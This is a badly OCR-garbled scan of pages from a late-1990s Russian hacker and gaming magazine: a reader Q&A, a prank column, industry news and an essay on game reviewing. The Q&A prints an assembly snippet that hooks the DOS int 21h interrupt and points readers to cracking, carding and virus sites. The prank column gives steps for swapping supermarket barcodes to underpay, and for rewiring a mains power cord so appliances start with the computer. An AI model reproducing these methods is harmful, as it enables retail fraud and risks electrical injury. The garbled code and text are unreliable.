напечатать, типа “Ц 100$3г’. © 


О: Подскажи 

| альтернативный способ 
определения векторов 
прерываний! 


А: Вот один из альтернативных способов, 
используй себе на здоровье. 


тоу [_$5],5$_ 

тоу [_$Р],зр 

хог ах, ах 

тоу $$, ах 

тоу зр,21В * 04; 216 номер прерывания 
рор \ога рн [Мес!21 __ОЕЕЗЕТ] ; ориги- 
нальное смещение 

рор \ога рн [Мес!21_$ЕСМЕМТ] ; ориги- 
нальный сегмент 

руз оНзе! Меми21Н ; смещение новой 
процедуры 

ризН соде ; текущий сегмент ; новый 

; обработчик находится в 

унем 

; установлен новый 

; обработчик 


тоу 53,[_$$]; восстанавливаем стэк 


тоу зр,[_$Р] 
Ме21 Аргос 
Мем21 Вепар 


\Уес!21_ОРЕЗЕТ дм? 
\Уес!21_ЗЕСМЕМТ дм? 
_$5 ам 

_$Ра\м@ 


О: На основании каких 
. законов могут прико- 
паться к хакерам® 


А: Смотря чем занимается хакер. И за 
какие рамки он выходит. Основными 
статьями, по которым всех катают, яв- 
ляются: 273 статья, которая устанавли- 
вает уголовную ответственность за рас- 
пространение вредоносных программ, и 
272 статья — ответственность за несан- 
кционированное проникновение в ком- 
пьютерную сеть. Но если причинен и иму- 
щественный ущерб (в виде: украли паро- 
ли на Интернет, потратили чужие деньги 


ит.п.), то и статья 165 УК РФ. 


О: Ловят ли тех, 

кто пытается достать 
логины через распрос- 

транение троянов 

по е-тай’у или еще 

какими-либо путями? 


А: Да, безусловно ловят. Причем процент 
тех, кто ловит, так же как и *кого* ловят, 
постоянно растет. Но определенной зави- 
симости установить не удалось. © В ос- 
новном теми, кто рассылает трояны, зани- 
маются «ламеры», потому как поймать та- 


кого человека не составляет особого тру- 
да (если он потом использует или продает 
этот логин). А настоящие хакеры никогда 
не делают это такими методами и такие 
вещи. Поэтому их и поймать сложнее. 


О: Ха! То есть все те, 
кто нас ловит, ничего не 
соображают 

в компьютерах? 


А: Тут ты ОЧЕНЬ сильно ошибаешься. Ес- 
ли тобой заинтересуются, то ты уже под 
прицелом. Тобой займутся профессиона- 
лы. По всем специальным вопросам, от- 
носящимся к извлечению информации с 
винчестера, а также ее изучению они об- 
ращаются к экспертам-профессионалам. 
Ими, например, могут быть те же бывшие 
хакеры. Поэтому не надо быть настолько 
наивным. 


О: Как же защитить себя, 
точнее, свои данные? 


А: А не преступник ли ты? © Следует вос- 
пользоваться программой шифратором 
винчестера. Ну, естественно, ни какой-то 
там самописанной чушью, которую лю- 
бой профессионал расшифрует, а такими 
продуктами, которые в своих процедурах 
шифрации используют известные крип- 
тостойкие для взлома алгоритмы. Такой 
системой, например, является Вез{Сгур1. 
Но есть одна неудача. Программа зваге- 
\у/аге. Поэтому вам придется ее купить. 
Или найти Нее\муаге программу. Если же 
вы ее сломаете... ГЫ! Тогда зачем вам 
шифровать данные? © 


О: Хм! А какие основные 
провайдеры логируют 
ситуацию с «1 зез$юп 
тахиптитяе 


А: На все 100% известно, что лог с таки- 
ми записями просматривается провай- 
дерской компанией «Петерлинк» 
(\\му\.реетК.ги). О других провайдерах 
тебе, видимо, придется узнать испытав 
все это на себе. © Желают тебе этого не 
делать. 


О: Как провайдер может 
узнать о краже пароля? 


А: А очень даже легко. Есть огромная ку- 
ча способов это узнать. Приведу несколь- 
ко примеров. 

1) Ты сидишь в Интернете в то время, ког- 
да оригинальный владелец пытается туда 
прозвониться. Естественно, это у него не 
получается. Он звонит в службу поддер- 
жки — «твой» логин убит. (могут заодно и 
тебя поймать, кстати, на большинстве 
крупных провайдеров включены АОНЫ, и 
поэтому в лог заносится и твой телефон, 
а по нему уж узнать, кто ты, не состав- 
ляет труда). 

2) Оригинальный владелец сидит в Интер- 
нете, а ты в это время звонишь. Если не 


НАСК-РАО 


разрешен мультилогин (а он сейчас не 
разрешен почти везде), то ты получаешь 
сообщение вида «1 зезюп тахйтит». И 
отключаешься. Это заносится в логу про- 
вайдера. И если тебе не везет по жизни, 
то администратор обязательно это про- 
читает, ну и, естественно, последует сме- 
на пароля. 


О: Как и, главное, где уз- 


нать, есть ли к нужной 
г? мне программе крек? 


Или ее коммерческая 
версия? 


А: Используй небезызвестный сайт про- 
верки релизов на дупы: ИНр://\/\\. 
дуреспесК.сот/зеагсН.В!т. Только, пожа- 
луйста, © не надо меня спрашивать, как 
оттуда это скачать. © Сразу скажу: те- 
бе — НИКАК. :] 


О: Где можно скачать 
так называемые КЕС 
стандарты? Чтобы мне 
их потом изучить, напи- 
сать пару программулек 
для дальнейшего изуче- 
ния хакерского ремесла. 


А: Нужный тебе архив на 19 мегабайт ;] 
(оно того стоит!) есть на Яр://Яр.пемайтК. 
гу. Это не самое свежее, но пользы не 
мало. Все в одном архиве. 


О: Мне нужна помощь 

в креке. Нужны материа- 
| лы, программное обес- 

печение, а главное, 

связи. ГДЕ? © 


А: Ну, материалы, программное обеспе- 
чение и начальные связи ты сможешь най- 
ти на №#р://4оге.оп.ги. Этот сайт содер- 
жит огромное количество ссылок на дру- 
гие сайты с крекерскими программами, 
туторами и другими полезными вещами. 
Есть еще один хороший сайт. Он содер- 
жит следующие материалы для хака: 
МММИМ сайтов, \/тао\з 9х, У/таомиз МТ, 
*пьх систем; материалы по креку в виде: 
программное обеспечение, туторы; мате- 
риалы по фрикингу: тексты, утилиты; по 
кардингу, вирусам и многому другому. 
Вообще, это сайт как раз для тебя. Он 
соответствует всем твоим интересам. Ну 
а теперь его адрес ®. Вот он: 
ЮНр://тетБегз.ЧепсНу.сот/з$. 


Ты мало знаешь? Ты хочешь стать хакером? Ты не 
можешь этого сделать сам? Пиши мне, и может 
быть, я тебе чем-нибудь помогу! © 

Мне можно задать вопросы по следующим адре- 
сам: р0гам(@тай.го [5рОга\и пишется через ноль!] 


или 2:5033/2701@ЕаоМе! 

(сразу же сообщаю: у меня нет !СО), не пытайтесь 
искать меня там). 

Только очень прошу, сделайте в поле ЗВ} письма 
пометку: [вопрос по РАС], 


5рОВаш (5рОгаш@тай.ги) 


ини р 
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Правчла поведеная в 


Геннадий Крэк-о-дЕПОВ 


Детство. Отрочество. 
Юность. 


С глубокого детства пытались вшить в 
мой мозг, что надо слушаться старших, 
что надо себя вести хорошо. Не шу- 
меть, не ругаться матом, не лазить по 
помойкам за радиодеталями, не гасить 


свет в подъезде и вообще — не дышоть. 


В детском садике на время тихого часа 
меня изолировали в раздевалке. Всю 
начальную школу я отучился в коридо- 
ре. А в старших классах я общался, 
только с директором. Словом, ничего у 
них не вышло. И теперь я могу с тобой 
поделиться огромным опытом борьбы с 
мировым занудством. 
`‘эня все время поражал гайдаровский 
‚мур со своей командой. Бравые ре- 
бята-пионеры помогают бабкам в об- 
становке строгой конспирации и с при- 
менением разных технических ухищре- 
ний. Ну там сирена из консервных ба- 
нок и пр. Видимо, волна тимуровщины 
сильно почистила нашу страну от по- 
жилых людей. Сам подумай, пожилой 
человек, жизнь прошла, ужасно скучно. 
А тут какие-то «благодетели» лишают 
его последних развлечений на склоне 
лет. Да бабкам просто оттяг орать на 
тебя в подъезде, они без этого жить не 
могут. Или стукнуть на тебя в милицию, 
когда ты выкинешь старый ламповый 
телевизор с десятого этажа. Словом, с 
этого момента читай в Х о Гене и его 
команде. 


Моподо — ЗЕПЕНО 
В моей команде есть и школьники, они 
“тивно внедряют в школьную жизнь 
оторые новации. Первого сентября 
один мой юный коллега подменил 
школьное расписание. Поскольку его 
теперь печатают на компьютере, у 
юного затейника эта процедура заняла 
совсем мало времени. Что было! Пол- 
ная неразбериха. Часть народа он от- 
правил просто на несуществующие 
предметы в мифические кабинеты. А 
когда на урок литературы пришло сра- 
зу четыре класса.... Но мой маленький 
друг на этом не остановился, он менял 
расписание через день, и теперь у 
стенда организован специаль- 
ный пост: «охранник расписа- 
ния». 
Отличный прикол рассказали 
мне другие мои юные друзья. 
Они разломали на помойке 
телевизор и выдрали оттуда 
несколько маленьких катуше- 


Одо 


МОНИТОР 


чек. С такой деталькой они подошли к 
учителю в компьютерном классе, ска- 
зав, что это выпало из монитора ком- 
пьютера, на котором они подкрутили 
яркость. Пока дядя делал в штаны, 
юные генадевцы прогнали то же на 
уроке английского языка с магнито- 
фоном. 

Можно модернизировать эту шутку. 
Подкладываешь кому-нибудь в плеер 
такую детальку. Переворачиваешь в 
нем одну ба- 
тарейку задом 
наперед, что- 
бы девайс не 
подавал приз- 
наков жизни. 
Рекомендую 
это проделы- 
вать с людьми, 
считающими 
себя крутыми 
радиоэлек- 
тронщиками. 
Это очень жес- 
токий прикол, 
т.к. твой заз- 
навшийся 
приятель сразу 
же разберет 
плеер и куда- 
нибудь эту де- 


презерватив Иа 


рычаг 


пластины из фольги 


земля. Его определить просто: в разъе- 
ме питания земля — средняя клейма, 
так что понадобится тестер, чтобы 
прозвонить. Если нет тестера или ты не 
знаешь, что это такое, то воспользуйся 
лампочкой и фонариком. Твоя зада- 

ча — выяснить, какой провод какой 
клейме соответствует. Тот, который ви- 
сит на средней — земля. 

После того как ты точно выяснил, какой 
провод какой — смонтируй в разрезе 
электророзет- 
ку. Провод с 
землей вооб- 
ще не исполь- 
зуй. Все плот- 
но привинти и 
хорошо заизо- 
лируй, чтобы 
не было корот- 
кого замыка- 
ния. В резуль- 
тате у тебя по- 
лучится шнур 
батарейка | питания мони- 
тора от сис- 
темного блока 
с розеткой. 

В эту розетку 
вставляй трой- 
ник, а в трой- 
ник — пылесос, 


эл. магнит 


таль припаяет. 
Или, случайно 
переставив батарейки назад, будет ло- 
мать голову, как же без такого важного 
компонента все работает и, в конце 
концов, все равно ее куда-нибудь при- 
паяет. Что и сделал учитель моих дру- 
зей с монитором. Правда, ему приш- 
лось для этого переделать всю принци- 
пиальную схему, и теперь Затзипа не 
помещается в приделы кожуха, гений 
электроники припаял туда лампу от 
старого телевизора. 


СмЕрть от пыпесоса — 
это скучно 


Вот тебе рецепт, приятель. Покупаешь 
шнур питания монитора от системного 
блока, розетку и тройник. Режешь 
шнур питания пополам. Зачищаешь все 
провода на концах. Теперь найди про- 
вода питания. Там три провода, один — 


РОЗЕТКА 


СИСТЕМНЫЙ БЛОК 


кофемолку, 
дверной зво- 
нок, кухонный комбайн и другую шум- 
ную бытовую технику. Когда кто-либо 
нажимает на кнопу РО\\ЕК, все это 
резко включается, а по монитору бегут 
помехи. 

Если бы сделали такое со мной, я бы 
выпал в осадок. Так что не пробуй эту 
шутку на слабонервных и пожилых лю- 
дях, а также на неопытных пользовате- 
лях. Это может закончиться инфарктом 
или инсультом. Когда включаешь комп, 
а он взвывает как кофемолка или пыле- 
сос, то трусы становятся теплыми, но 
неуютными... 

Сразу хочу тебя предупредить, что от 
скачка напряжения могут выйти из 
строя некоторые части компьютера. 
Хотя я через такой шнур подключал 
моющий пылесос к компьютеру, и все 
было в порядке. 


Пакости 
В СУПЕРМаркЕТЕ 


Что-то последнее время разве- 
лось всяких супермаркетов. Одни 
книжками торгуют, другие жрат- 
вой. Но все они самообслужи- 
ваются, и все товары со штрих- 
кодом. По штрих-коду сразу и це- 
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на вводится, и имя товара. А вот 
возьмем мы и заломаем этот их 
штрих-код. 


Рецепт первый 

Покупаешь у них дешевый сыр, а 
когда его слопаешь — отдери 
штрих код и приклей на другой по- 
дороже. Имеем дорогой продукт 
со скидкой. Можно переклеивать 
штрих-код прямо в супермаркете с 
одного продукта на другой. Но не 
забудь про телекамеры, которых 
там часто в изобилии. Так что луч- 
ше придти туда с уже отодранной 
этикеткой. Ее можно спокойно 
приклеить по дороге к кассе. Не 
забудь, что штрих-код часто со- 
держит ссылку на наименование 
товара (его номер). Так что если 
переклеить с колы на пиво, то мо- 
гут быть проблемы. Даже если 
поймают, ты же ничего не крал, ну 
отодрал какую-то бумажку. Мож- 
но даже поэкспериментировать на 
других покупателях, переклеить и 
подождать пока кто-то другой это 
купит. © 


Рецепт второй 

Можно портить штрих-код в на- 
дежде, что произойдет ошибка. 
Можно черным маркером провес- 
ти вертикальную линию прямо по 
коду. Если код под полиэтилено- 
вой упаковкой, то та часть, по ко- 
торой ты проведешь ногтем, чи- 
таться не будет, хотя на глаз этого 
не заметно. И тут уж тебя никак не 
обвинить. 


В разных супермаркетах разные 
системы штрихового кодирования, 
т.к. сканеры можно программиро- 
вать. Так что если принести этикет- 
ку со штрих-кодом из одного ма- 
газа в другой, то возможны инте- 
ресные глюки. Даже магазины од- 
ной фирмы могут поддерживать 
разные кодировки. 

Самые грамотные магазины ис- 
пользуют штрих-код товаропроиз- 
водителя, а не клеят свой соб- 
ственный. Такую систему обойти 
сложнее, в плане переклеек. 


Депо туго — 
БЕЗ РЕЗУНКУ НУКак 


Старая шутка, повесить над 
дверью презерватив, наполнен- 
ный водой. На практике это сра- 
батывает как-то очень плохо, 
неэффективно. Вот тебе мой спо- 


соб с применением современной 
электроники. Тебе необходимо 
достать у какого-нибудь любителя 
рыбок старый сдохший компрес- 
сор для аквариума. В конструк- 
ции этого компрессора использо- 
ван элемент, который под дей- 
ствием электрического тока втяги- 
вает в себя сердечник. Его можно 
заменить обычной катушечкой 
индуктивности от низковольтного 
электромеханического звонка. В 
крайнем случае можешь поэкспе- 
риментировать с разными кату- 
шечками и самостоятельно изго- 
товить электромагнит нужной 
мощности. 

К язычку электромагнита крепим 
иголочку, и готов удобный элек- 
тро-презервативо-прокалыва- 
тель. Осталось изготовить датчик 
из двух листочков фольги, как по- 
казано на рисунке, и купить рус- 
скую батарейку за 10 рублей. 
Если кто-то наступает на наш 
датчик, то сопротивление па- 
дает, прокалыватель срабаты- 
вает, и содержимое презервати- 
ва выливается на голову нашей 
жертвы. Можешь использовать 
также герконовые датчики на от- 
крывание дверей, если тебе 
удастся где-нибудь такой найти. 
А если ты крутой радиолюби- 
тель, то можешь построить прос- 
тенький инфра или светодатчик. 
Прикольно еще повесить все это 
на выключатель света в темном 
помещении. Нажимаешь и ты в 
Индийском океане... 
Собственно, у этой системы под 
названием «ПАКОСТЬ 1.0 юг 
\огК дгоурз» может быть много 
модификаций, если помозговать. 
Можно, к примеру, подсоединить 
датчик к стулу, а электропрокалы- 
ватель к пробочке пузырька с се- 
роводородом. Словом, тут боль- 
шое поле для буйной фантазии. 


В доБрыц путь 

На этом, собственно, все. Не за- 
бывай про первое сентября. При- 
сылай в редакцию свои способы 
приколов и заподлянок в школе 
или институте, лучшие варианты 
будут опубликованы. И, конечно, 
постарайся не попасть в милицию 
и не покалечить окружающих. 
Успехов! 
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Да-а, народ, если так дальше пойдет, 
скоро компьютерные игры запретят как 
общественно опасное явление. Снача- 
ла юные квакеры (поначалу один, потом 
двое) решили на своих сверстниках бое- 
вые навыки проверить, а теперь вот 
авиасимуляторщики миру о себе заяв- 
ляют. Нет ы 


По крайней мере, 
жертвы уже есть. 

22 июля стал последним днем в жизни 
51-го летнего пилота Наоюки Нагаши- 
ма, отца двух детей, кстати. Вскоре пос- 
ле взлета пассажирского лайнера с 
аэродрома Ханеда, что в Токио, в кабину 
ворвался неизвестный и, как говорится в 
милицейских актах, нанес пилоту тяжкие 
телесные повреждения 12-дюймовым но- 
жом. От полученных ранений Нагашима 
кончался на месте. И тут по ходу дела 
„стает первый вопрос: как преступник 
пронес через таможню такой недетский 
инструмент? (12 дюймов — это почти 
диагональ твоего монитора!) Впрочем, 
оставим эту проблему японским тамо- 
женникам, а сами перейдем к наиболее 
важной для нас стобой части. После зах- 
вата самолета террорист потребовал... 
нет, не повернуть в Тель-Авив, а всего- 
навсего дать ему порулить. Как выясни- 
лось, он собирался пролететь под одним 
из токийских мостов, а потом направить- 
ся на американскую военно-воздушную 
базу в окрестностях Токио. Позже в «ин- 
тервью» правоохранительным органам 
28-летний убийца признался, что он 
большой фанат авиасимуляторов и всег- 
да мечтал попробовать полетать по-нас- 
тоящему. Непонятно, правда, зачем бы- 
ло убивать пилота, но, возможно, он фа- 
натеет еще от каких-нибудь игр... Ком- 
мандос, к примеру. Хотя вряд ли, иначе 

я не’дал бы экипажу самолета застать 
себя врасплох и привязать к сидению. К 
слову сказать, управлял он 
весьма бездарно: лайнер с по- 
лутысячей пассажиров на борту 
трясло и кидало в разные сто- 
роны. Недостаточно трениро- 
вался, видать. Ламер. По сло- 
вам летчиков, именно одна из 
воздушных ям и дала им воз- 
можность напасть на террорис- 
та. Что ж, в следующий раз бу- 
дет знать, что для захвата само- 
лета нужно еще как минимум 
еще и Мона! КотБаГом инте- 
ресоваться. 

Да, кстати... Этот горе-лет- 
чик ранее уже пытался покон- 
чить жизнь самоубийством и 
проходил курс лечения от деп- 
рессии (от нее еще и лечат). 
Может быть, поэтому возбуж- 


О42 


дать иски против каких-то конкрет- 
ных издателей и/или разработчи- 
ков авиасимуляторов пока никто 
не торопится... Хотя кто знает... 


Уже даже не столько интересно, | 
сколько просто любопытно: увидит 
ли свет Оакаюпта? Долгосторой 
из долгостроев. Хотя в свое время 
такие же обидные фразы отпуска- 
ли в сторону Анрыла, а потом — 
мать моя женщина... Вышел же, да 
еще каким вышел! С другой сторо- 
ны, Дайкатане с каждым днем 
дают все меньше и меньше шансов. И 
вот почему. 

Четвертого августа {ОМ Зюгт поки- 
нул Стив Эш. А это тебе не какой-ни- 
будь с горы, это ведущий программист 
компании. Вернее, теперь уже бывший 
ведущий... Кстати, по слухам, ушел он 
вроде как в контору под названием Ва 
Аре, ту самую, которая ответственна 
перед человечеством за появление 
РВапют Мепасе. 

Несчастный всеми затюканный (из- 
за задержек с Дайкатаной) Ромеро пос- 
пешил заявить: 


и так далее в том же 
духе. А я скажу, что плохи дела у Джона, 
если программисты от него уходят в 
сомнительные конторки, сделавшие се- 
бе имя и капитал на поделках по моти- 
вам последнего фильма Лукаса. А Ро- 
мере что? Он все по халявным презен- 
тациям вовсю шатается (см. Х #7). 

Нет, думается, Дайкатана все ж таки 
выйдет. Не зря ведь Е! 0$ вложил в нее 
столь много средств, как в разработку, 
так и в массивную рекламу. Проект 
ожидаемый. Другое дело, стоит ли ее 
ждать? Помнится, в середине прошлого 
года повсеместно выражалось мнение, 
что если игра не выйдет до Рождества, 
то потом она может и вовсе не выхо- 


дить, так как просто по своему качес- 
твенному уровню не выдержит конку- 
ренции. Никто и предположить не мог, 
что она так капитально в разработке 
застрянет. И сейчас, похоже, актуален 
уже не тот вопрос, выйдет ли Дайкатана 
(а черт ее знает, в конце концов, надое- 
ли уже!), а то, стоит ли ее ждать, уста- 
ревшую и ничем гениальным, судя по 
всему, не характеризующуюся. Разве 
что геймплей окажется увлекательный 
донельзя, так что памятник Ромере не- 
рукотворный возводить можно будет, 
но вот уже не верится как-то... 


В тусовке, близкой к индустрии чип-мей- 
керства, ходят упорные слухи... |ме! ре- 
шил одним махом избавиться от всех 
своих проблем с АМО. Говорят, он хо- 
чет АМДу просто-напросто купить. Ни- 
чего себе идейка, верно? 

Если подумать, в пользу этих слухов 
говорит многое. Во-первых, над |ме!| 
больше не висит угроза в лице Феде- 
ральной Торговой Комиссии (ЕТС), не 
висит после того, как УПА купил х.86-от- 
деление компании ПТ и на этом, судя по 
всему, не остановится (УПА также плани- 
рует купить Суйх за $167 миллионов). 
Так что монополистом Интел не станет. 
Во-вторых, АМР сейчас не так уж доро- 
го стоит — всего лишь $16 за акцию, и 
это не предел — компания 
сейчас устанавливает рекорд 
за рекордом по квартальным 
потерям. «В минуса», как го- 
ворят квакеры. 


Зачем все эти ценовые войны, 
падения продаж и прочая су- 
матоха? И как они раньше не 
догадались! Чем это кончит- 
ся — никто не знает. Навер- 
но, в случае успеха добрый 
Интел будет ставить заоблач- 
ные цены на свои камни. Ясно 
одно — кончится все это еще 
не скоро... 


Проекты сейчас закрывают один за 
другим. Мода такая пошла, должно 
быть. Из-за нехватки кадров, из-за бес- 
перспективности, из-за воле- 
вого решения издателя 
(как было с А-10 \Ма\од). 
А теперь вот еще одна 
причина появилась — 
внутренние ссоры. Новое 
веяние в индустрии, пони- 
маешь ли... 

Помнишь, анонсировалась 
когда-то такая игра, Те аду, Те 
Маде ап4 Тне Кто! Нет? Я вот (% 
тоже с трудом, честно приз- 
наюсь... Хотя нет, погоди, что-то 
такое проклевывается на зад- 
ворках сознания... 


да, все дежурные фразы. 
Наверно, потому и не 
запомнилась. А делали эту 

игрульку сразу две команды: 1апап 
Заю$ и АНг. Так вот, работы прекра- 
щены. Насовсем и без права на перес- 
мотр. И даже несмотря на то, что 1айап 
Зи4о5, как я сейчас припоминаю, спе- 
циально на эту игру деньги копили, чтоб 
осилить и потянуть. Они, значит, реал- 
таймовый клон осенью девяносто седь- 
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мого выпустили, |.Е.0. 
\М/аг$ назывался, сла- 
бенький, но на тогдаш- 
ней волне повального 
интереса к жанру непло- 
хо продаваемый. Потом 
всех ошарашили, честно 
признавшись, что скле- 
пали игру на скорую ру- 
ку, дабы подзаработать 
для своего проекта меч- 
ты, который им хотелось 
делать, ни от кого не за- 
вися. Надеялись мир уди- 
вить, себя порадовать и 
в накладе не остаться. 
Минуло почти два года. 
Итог — морг. 

ТВе 1аду, ТВе Маде апа Тпе Кам 
уже давно должна была выйти. Еще в 
феврале этого года. Но постоян- 

ные разборки между дву- 

мя разработчиками, 

[апаоп и АНс, постоянно 
тормозили работу. То ли шку- 
ру неубитого медведя (то 
бишь прибыль) не могли 
поделить, то ли дизайне- 

ры грызли друг другу 
глотки из-за какой-ни- 
будь текстурки... И до 
нынешнего момента 
руководство как-то ми- 
рило дерущихся соз- 
<> дателей. А теперь, 
видно, апофигей 
настал. Плюнули и зад- 
винули на игрушку. Кто 
знает, может, правда было 
бы «новое поколение» и «не 
лежащий рядом Диабло»? 
Теперь мы никогда уже не 
узнаем. 


Ем 5ьОн$ 


Похоже, издатели совсем свихнулись на 
многопользовательских играх и скоро 
наступит время, когда человеку без ста- 
бильной безлаговой связи с Интерне- 
том и поиграть-то уже бу- 
дет не во что. Потому как, 
переходя на рынок онлай- 
] новых игр, издатели со- 
вершенно беспардонным 
образом бросают своих 
старых «однопользова- 
тельских» партнеров. Эта 
печальная участь постигла 
даже такую известную 
стратегию как Зеуеп 
Кпадотз 2. Напомню, что 
изначально ее планиро- 
вала издавать Маогс. Так 
вот, теперь ей, как и 
Опа, в голову ударило 
чем-то онлайново-тяже- 


ХЛ@аатеЕз\бсапаа!5 


лым, и как результат, 'Масд!с сделала 
Епйо[+ ЗоНууаге (разработчику $К2] руч- 
кой. После этого в течение некоторого 
времени энлайтовцы вели переговоры 
об издании игры с ЦЫ $оН, у них даже 
сложились какие-то там теплые отноше- 
ния. Вроде бы все хорошо, что хорошо 
кончается, но тут — бац! ЧЫ $оН объяв- 
ляет об отказе" издавать 5К2. От ком- 
ментариев представители компании 
предпочли воздержаться. 


Действия ЧЫ ЗоН становятся еще 
более непонятными, если учесть ее не- 
давний отказ от издания/распростра- 
нения Мопуг, что совсем уж странно. 


Если эта история получит какое-то про- 


должение, например, юбисофтовцы 
соблаговолят объяснить свое поведе- 
ние, то в следующем номере Х мы обя- 
зательно к ней вернемся. 

А пока, вскоре после официального 
отказа ЦЫ Зо от издания игры, посту- 
пила информация о том, что ЕпйаМ 
ЗоН\маге решила забить на бессове 
тно кидающих ее паблишеров и издать 
игру самостоятельно. Видимо, на соб- 
ственные деньги, если они у нее есть: 
Впрочем, полностью доверять этим све- 
дениям нельзя, так как известно о таком 
вот намерении Епйай! стало от одного 
из переволновавшихся бета-тестеров, 
обратившегося в компанию с запро- 
сом. Его электронка -- 
до92Наег@ао|.сот, так что если кто го- 
рит желанием и владеет английским, 
может даже сам попытаться у него са- 
мостоятельно детали выспросить... 

В общем и короче говоря, туманно. 
Весьма и весьма. 
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риветствую вас, господа! Давно не 

виделись, можно сказать... Иной 
спросит: ну чего старому Маллеусу не 
сидится в родной игре? Да мне бы вовек 
оттуда не вылазить, но только жизнь, за- 
раза, заставляет. Говорят, она прогнет 
кого угодно и надо чаще встречаться. 
Вот и встретились. Ничего, если я заку- 
рю? 

...На этот раз мы не будем игрушкам 
кости перемывать. Все гораздо серьез- 
ней. Если быть совсем честным, то идея 
написания этого материала принадле- 
жит Игровому Главреду. Сама мысль 
очень проста и заключается в том, что 
оценка игр профессиональными журна- 
листами и геймерами — это две боль- 
шие разницы. Ну и поскольку так сложи- 
лось, что я в равной степени отношусь и 
к первым, и ко вторым, то мне и карты в 
руки сэтим разбираться. А предыстория 
была такая. 

В далеком, почти как Застой, девя- 
носто седьмом как-то раз беседовал я с 
нашим Главным по играм, который в то 
время начальствовал «Навигатором иг- 
рового мира» (правда, хороший журнал 
был?). В то время в мире наблюдался су- 
масшедший бум ВТЗ (кто не в курсе — 
это стратегии в реальном времени). Фа- 
наты по-прежнему увлеченно рубились 
в \М/агсгай ! и Соттапа&Сопауег, но 
уже вышли БагК Ке!дп, То!а| АппЙЙаНоп, 
\У\аг, пс., Аде о Етрие5 и еще полтора 
десятка разноименных клонов. Да, сов- 
сем забыл, слова «ЗагсгаН» люди тогда 
еще не знали. Все игровые журналы, ес- 
тественно, этот «мутный поток клонов» 
(самое распространенное в то время 
выражение) всячески опускали. Но од- 
нажды, когда, очутившись в редакции в 9 
часов вечера, я таки разбудил Дениса, 
он, выпив полбанки моего «Хольстена» и 
выкурив 2 своих сигареты, признался: 
«Пришло тут письмо по электронке. Ав- 
тор говорит: вы, журналюги, ВТ5-ки 
опускаете — типа, ни новаторства, ни 
ЗО нормального, ни свежих идей; а мы, 
геймеры, играли, играем и хотим еще 
больше в них играть». 

Тогда мы впервые и задумались: а 
насколько же сильно у журналистов и 
простых игроков разнятся подходы к 
оценке игр? Что хвалят (ругают) одни и 
что — другие? На том, покончив с пре- 
дысторией, перейдем к делу. 


Бохьч дары ча 
яччнчца 


Зададимся вопросом: что в игре интере- 
сует журналиста? Прежде всего, после 
двух формальных критериев, графики и 


МаНец$ {ВЕ Мадс!ап (Мо4М\Ег-@а!авпЕ ги) 


звука, интересует его некое абстрак- 
тное «новаторство». Если игре удастся 
стать «новым словом в жанре», то папа- 
рацци будут визжать от восторга, неза- 
висимо от того, можно ли в это «новое 
слово» играть или нет (про герауаБ\Ну 
вообще никто не говорит). Они ведь как 
играют® Просмотрел по диагонали па- 
ру обзоров в Сети, перечел пару 
превьюх годовой и полугодовой давнос- 
ти, погонял игру часа два — чтоб карти- 
нок наделать. И все, можно писать об- 
зор. При некотором навыке и отрабо- 
танном стиле от журналиста большин- 
ства игровых изданий больше ничего и 
не требуется. И не думайте, что я утри- 
рую. Вовсе даже нет. Рассказываю то, 
что на протяжении многих лет наблюдал 
собственными глазами. 

Давайте посмотрим на ситуацию, 
когда журналисты пИсают кипятком от 
игры, а по сути оказывается, что ничего, 
кроме набора наворотов, в ней и нет. 
Вот, например, Рорцоцз: Тпе Ведтпта. 
Все визжали. Напропалую. Почти все 
садились поиграть. А сейчас? Ее хоть 
кто-нибудь вспоминает добрым словом? 
Кстати, вероятно, я не ошибусь, если 
предположу, что ситуация с С!ап: 
Степ Кабшю будет точно такой же. 
Еще пример — обе серии Ф$еуеп 
Кта4отз. Тот же КмегМ\оп9. Или 
1трегайзт. А помнит кто-нибудь, как 
популярна была в свое время идея соз- 
дания полностью трехмерной страте- 
гии? Настолько трехмерной, чтобы мож- 
но было как угодно приближать камеру, 
вращать карту и смотреть из глаз юни- 
тов? По сути, это означало бы совмеще- 
ние двух наимоднейших жанров: ЮТ5 и 
АсНоп. Этим играм прочили будущее. И 
что? Оризта, Ва|е/опе, КоБоКитЫе, 
Мас тез — все они огребали свою пор- 
цию журналистских аплодисментов (под 
конец — уже меньше), но НАРОД в это 
ИГРАТЬ НЕ СТАЛ, потому что это было 
неудобно и скучно, да к тому же все ЗО- 
КТ5 страшно требовательны к ресурсам 
компьютера. И самой популярной реал- 


тайм стратегией стал... плоский 
Зтагсгай. 
Кстати. Ведь народный любимец 


Э!агсгай — это самый главный прикол 
нашего времени. Его хвалили все изда- 
ния. Но фишка в том, ЗА ЧТО его хвали- 
ли. Лишь у одного журнала достало 
смелости чуть позже признать: хвалим, 
потому что если обругаем, то геймеры 
нас закопают. И их панегирики, посвя- 
щенные игре, у меня лично вызывали 
лишь здоровый смех. Да, в ней всего 
256 цветов (в эпоху Тгие Сооп зато как 
красиво смотрится! Да, она абсолютно 
плоская (уже почти год, как вышла Тою| 


иппюстрация - А. Еремиун 


АппЙаноп, вышли МУН и Вагк Отеп), 
но зато как здорово нарисованы фаль- 
шивые горы! Да, всего 3 расы (уже не 
помню, сколько вышло игр с десятком 
уникальных рас), зато какой баланс сил! 
Да, сюжет линейный, но какой занятный! 
З!агсгаН — это классический пример, 
когда папарацци наступают себе на 
горло и лижут зад геймерской братии. 
Ведь З!агсгаН — действительно великая 
игра! С потрясным балансом, обилием 
всевозможных тактических ходов, ог- 
ромной реиграбельностью, неповтори- 
мой атмосферой — теми самыми фича- 
ми, которые так важны для геймера, но 
на которые среднестатистическому 
журналисту чхать с высокой колокольни. 
Ему хочется красивой картинки. Ему ну- 
жен миллион полигонов на каждую мо- 
дель. А для геймера это — торможение 
в процессе игры, низкое разрешение и 
отключенные эффекты. Журналисту в 
кайф, когда игровой процесс завернут 
так, что без пол-литра лучше и не са- 
диться. А геймеру нужен удобный и по- 
нятный геймплей. Журналист тащится, 
когда видит что-то новое, нигде ранее 
не слыханное, а геймеру приятно сесть 
за игру, похожую на то, отчего он пер- 
ся два года назад. 

У меня есть знакомый — один из луч- 
ших отечественных экспертов по З)-шу- 
терам. Он может часами анализиро- 
вать сравнительные достоинства движ- 
ков Опгеа| и Ш|НТесй; ему достаточно 
бросить один беглый взгляд на скрин, 
чтобы выдать массу информации об иг- 
ре. Он, как журналист, причем игровой 
журналист высочайшего ранга, хвалил 
очень и очень многое из того, что выхо- 
дило за последний год, включая КатБо\м 
Ух, ИМ (какая реалистичная модель ра- 
нений!) и так далее. А во что он играет 
для души? В ОуаКке ИИ и в Ипа! 
